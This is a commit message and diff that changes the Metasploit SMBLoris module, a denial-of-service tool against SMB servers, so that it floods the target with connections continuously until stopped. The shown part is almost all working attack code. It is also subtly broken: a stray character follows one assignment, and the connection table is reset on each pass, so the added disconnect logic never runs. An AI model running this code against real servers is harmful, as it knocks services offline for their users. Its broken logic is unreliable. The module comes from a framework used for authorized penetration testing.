make SMBLoris run continuously as requested

as per ZeroSum's request the module now runs
continuously, refreshing the connections on every pass
until manually killed

modules/auxiliary/dos/smb/smb_loris.rb

@@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
         and Zach Harding.
 
         DISCALIMER: This module opens a lot of simultaneous connections. Please check
-        your system's ULIMIT to make sure it can handle it.
+        your system's ULIMIT to make sure it can handle it. This module will also run
+        continuously until stopped.
       },
       'Author'          =>
         [
@@ -55,7 +56,8 @@ class MetasploitModule < Msf::Auxiliary
 
     linger = Socket::Option.linger(true, 60)
 
-
+    while true do
+      sockets = {}
       (1025..65535).each do |src_port|
         print_status "Sending packet from Source Port: #{src_port}"
         opts = {
@@ -63,6 +65,10 @@ class MetasploitModule < Msf::Auxiliary
           'ConnectTimeout'  => 360
         }
 
+        if sockets[src_port]
+          disconnect(sockets[src_port])
+        end
+
         begin
           nsock = connect(false, opts)
           nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
@@ -70,12 +76,13 @@ class MetasploitModule < Msf::Auxiliary
           nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
           nsock.setsockopt(linger)
           nsock.write(header.to_binary_s)
+          sockets[src_port] = nsock       g
         rescue ::Exception => e
           print_error "Exception sending packet: #{e.message}"
         end
       end
-    print_status "Sleeping for 30 seconds..."
-    select(nil, nil, nil, 30)
+    end
+
 
   end